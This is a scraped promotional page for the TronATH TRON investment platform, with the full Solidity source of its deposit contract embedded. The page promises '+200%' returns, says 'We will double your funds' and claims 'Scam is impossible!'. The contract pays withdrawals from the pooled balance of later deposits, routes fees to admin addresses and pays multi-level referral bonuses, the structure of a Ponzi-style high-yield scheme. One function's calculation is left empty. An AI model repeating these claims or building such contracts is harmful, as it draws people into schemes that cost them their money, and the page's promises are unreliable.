TronATH.com | Get +200% up to your deposit right now. Safe and legit!

Honest and transparent

smart-contract independent auditions and reviews

TronATH platform smart-contract is published on TRON blockchain. Nobody can change its rules or algorithms, even administration. This provides our participants unconditional confidence in safety of their funds. Anyone can check smart-contract code and be sure that TronATH platform is honest.

Reviews and mentionings:

Smart-contract code:

pragma solidity 0.5.10;

contract TronATH {
    using SafeMath for uint;

uint constant public DEPOSITS_MAX = 100;
    uint constant public INVEST_MIN_AMOUNT = 100 trx;
    uint constant public BASE_PERCENT = 500;
    uint[] public REFERRAL_PERCENTS = [500, 200, 100, 50, 50];
    uint constant public MARKETING_FEE = 500;
    uint constant public FUND_FEE = 500;
    uint constant public MAX_CONTRACT_PERCENT = 1500;
    uint constant public MAX_HOLD_PERCENT = 1500;
    uint constant public MAX_DEPOSIT_PERCENT = 1500;
    uint constant public PERCENTS_DIVIDER = 10000;
    uint constant public CONTRACT_BALANCE_STEP = 250000 trx;
    uint constant public USER_DEPOSITS_STEP = 5000 trx;
    uint constant public TIME_STEP = 1 days;

uint public totalDeposits;
    uint public totalInvested;
    uint public totalWithdrawn;

uint public contractPercent;

address payable public marketingAddress;
    address payable public fundAddress;

struct Deposit {
        uint64 amount;
        uint64 withdrawn;
        uint64 refback;
        uint32 start;
    }

struct User {
        Deposit[] deposits;
        uint32 checkpoint;
        address referrer;
        uint64 bonus;
        uint24[5] refs;
        uint16 rbackPercent;
		uint32 lastDeposit;
    }

mapping (address => User) internal users;

event Newbie(address user);
    event NewDeposit(address indexed user, uint amount);
    event Withdrawn(address indexed user, uint amount);
    event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
    event RefBack(address indexed referrer, address indexed referral, uint amount);
    event FeePayed(address indexed user, uint totalAmount);

constructor(address payable marketingAddr, address payable fundAddr) public {
        require(!isContract(marketingAddr) && !isContract(fundAddr));
        marketingAddress = marketingAddr;
        fundAddress = fundAddr;
        contractPercent = getContractBalanceRate();
    }

function invest(address referrer) public payable {
        require(!isContract(msg.sender) && msg.sender == tx.origin);

require(msg.value >= INVEST_MIN_AMOUNT, "Minimum deposit amount 100 TRX");

User storage user = users[msg.sender];

require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");

uint marketingFee = msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
        uint fundFee = msg.value.mul(FUND_FEE).div(PERCENTS_DIVIDER);

marketingAddress.transfer(marketingFee);
        fundAddress.transfer(fundFee);

emit FeePayed(msg.sender, marketingFee.add(fundFee));

if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
            user.referrer = referrer;
        }

uint refbackAmount;
        if (user.referrer != address(0)) {

address upline = user.referrer;
            for (uint i = 0; i < 5; i++) {
                if (upline != address(0)) {
                    uint amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);

if (i == 0 && users[upline].rbackPercent > 0) {
                        refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
                        msg.sender.transfer(refbackAmount);

emit RefBack(upline, msg.sender, refbackAmount);

amount = amount.sub(refbackAmount);
                    }

if (amount > 0) {
                        address(uint160(upline)).transfer(amount);
                        users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));

emit RefBonus(upline, msg.sender, i, amount);
                    }

users[upline].refs[i]++;
                    upline = users[upline].referrer;
                } else break;
            }

}

if (user.deposits.length == 0) {
            user.checkpoint = uint32(block.timestamp);
            emit Newbie(msg.sender);
        }

user.deposits.push(Deposit(uint64(msg.value), 0, uint64(refbackAmount), uint32(block.timestamp)));
		user.lastDeposit = uint32(block.timestamp);
        totalInvested = totalInvested.add(msg.value);
        totalDeposits++;

if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
            uint contractPercentNew = getContractBalanceRate();
            if (contractPercentNew > contractPercent) {
                contractPercent = contractPercentNew;
            }
        }

emit NewDeposit(msg.sender, msg.value);
    }

function withdraw() public {
        User storage user = users[msg.sender];

uint userPercentRate = getUserPercentRate(msg.sender);

uint totalAmount;
        uint dividends;

for (uint i = 0; i < user.deposits.length; i++) {

if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {

if (user.deposits[i].start > user.checkpoint) {

dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.deposits[i].start)))
                        .div(TIME_STEP);

} else {

dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.checkpoint)))
                        .div(TIME_STEP);

}

if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
                    dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
                }

user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
                totalAmount = totalAmount.add(dividends);

}
        }

require(totalAmount > 0, "User has no dividends");

uint contractBalance = address(this).balance;
        if (contractBalance < totalAmount) {
            totalAmount = contractBalance;
        }

user.checkpoint = uint32(block.timestamp);

msg.sender.transfer(totalAmount);

totalWithdrawn = totalWithdrawn.add(totalAmount);

emit Withdrawn(msg.sender, totalAmount);
    }

function setRefback(uint16 rbackPercent) public {
        require(rbackPercent <= 10000);

User storage user = users[msg.sender];

if (user.deposits.length > 0) {
            user.rbackPercent = rbackPercent;
        }
    }

function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }

function getContractBalanceRate() internal view returns (uint) {
        uint contractBalance = address(this).balance;
        uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(5));

if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
            return contractBalancePercent;
        } else {
            return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
        }
    }

function getUserDepositRate(address userAddress) public view returns (uint) {
        uint userDepositRate;

if (getUserAmountOfDeposits(userAddress) > 0) {
            userDepositRate = getUserTotalDeposits(userAddress).div(USER_DEPOSITS_STEP).mul(10);

if (userDepositRate > MAX_DEPOSIT_PERCENT) {
                userDepositRate = MAX_DEPOSIT_PERCENT;
            }
        }

return userDepositRate;
    }

function getUserPercentRate(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

if (isActive(userAddress)) {
            uint userDepositRate = getUserDepositRate(userAddress);

uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(20);
            if (timeMultiplier > MAX_HOLD_PERCENT) {
                timeMultiplier = MAX_HOLD_PERCENT;
            }

return contractPercent.add(timeMultiplier).add(userDepositRate);
        } else {
            return contractPercent;
        }
    }

function getUserAvailable(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

uint userPercentRate = getUserPercentRate(userAddress);

uint totalDividends;
        uint dividends;

for (uint i = 0; i < user.deposits.length; i++) {

if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {

if (user.deposits[i].start > user.checkpoint) {

} else {

}

totalDividends = totalDividends.add(dividends);

/// no update of withdrawn because that is view function

}

return totalDividends;
    }

function isActive(address userAddress) public view returns (bool) {
        User storage user = users[userAddress];

return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
    }

function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
        return users[userAddress].deposits.length;
    }

function getUserTotalDeposits(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

uint amount;

for (uint i = 0; i < user.deposits.length; i++) {
            amount = amount.add(uint(user.deposits[i].amount));
        }

return amount;
    }

function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

uint amount = user.bonus;

for (uint i = 0; i < user.deposits.length; i++) {
            amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
        }

return amount;
    }

function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
        User storage user = users[userAddress];

uint count = first.sub(last);
        if (count > user.deposits.length) {
            count = user.deposits.length;
        }

uint[] memory amount = new uint[](count);
        uint[] memory withdrawn = new uint[](count);
        uint[] memory refback = new uint[](count);
        uint[] memory start = new uint[](count);

uint index = 0;
        for (uint i = first; i > last; i--) {
            amount[index] = uint(user.deposits[i-1].amount);
            withdrawn[index] = uint(user.deposits[i-1].withdrawn);
            refback[index] = uint(user.deposits[i-1].refback);
            start[index] = uint(user.deposits[i-1].start);
            index++;
        }

return (amount, withdrawn, refback, start);
    }

function getSiteStats() public view returns (uint, uint, uint, uint) {
        return (totalInvested, totalDeposits, address(this).balance, contractPercent);
    }

function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint, uint, uint) {
        User storage user = users[userAddress];
		uint userPerc = getUserPercentRate(userAddress);
        uint userAvailable = getUserAvailable(userAddress);
        uint userDepsTotal = getUserTotalDeposits(userAddress);
        uint userDeposits = getUserAmountOfDeposits(userAddress);
        uint userWithdrawn = getUserTotalWithdrawn(userAddress);
        uint userDepositRate = getUserDepositRate(userAddress);
		uint userLastDeposit = uint(user.lastDeposit);
        return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn, userDepositRate, userLastDeposit);
    }

function getUserReferralsStats(address userAddress) public view returns (address, uint16, uint16, uint64, uint24[5] memory) {
        User storage user = users[userAddress];

return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
    }

function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }

}

library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

return c;
    }

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

return c;
    }

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

return c;
    }

function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;

return c;
    }

}

Reliable investments with

Get +200% up to your deposit

We will double your funds

Unlimited earnings with always growing rates

Reliability of TRON smart-contract.
Scam is impossible!

Worldwide legal company with professional team

Total invested amount (TRX):

Total active participants:

Available withdraw balance:

Last deposits:

Investment conditions

Basic interest rate:

Personal hold-bonus:

LIMITS AND DISTRIBUTION

LIMITS RULES:

How to work with platform

Step #1: Make deposit

Step #2: Get earnings

Step #3: Request withdraw

Honest and transparent

Reviews and mentionings:

Smart-contract code:

Contact us

Official contacts:

Public groups:

Social networks:

Reliable investments with

Get +200% up to your deposit

We will double your funds

Unlimited earnings with always growing rates

Reliability of TRON smart-contract.Scam is impossible!

Worldwide legal company with professional team

Total invested amount (TRX):

Total active participants:

Available withdraw balance:

Last deposits:

Investment conditions

Basic interest rate:

Personal hold-bonus:

LIMITS AND DISTRIBUTION

LIMITS RULES:

How to work with platform

Step #1: Make deposit

Step #2: Get earnings

Step #3: Request withdraw

Honest and transparent

Reviews and mentionings:

Smart-contract code:

Contact us

Official contacts:

Public groups:

Social networks:

Reliability of TRON smart-contract.
Scam is impossible!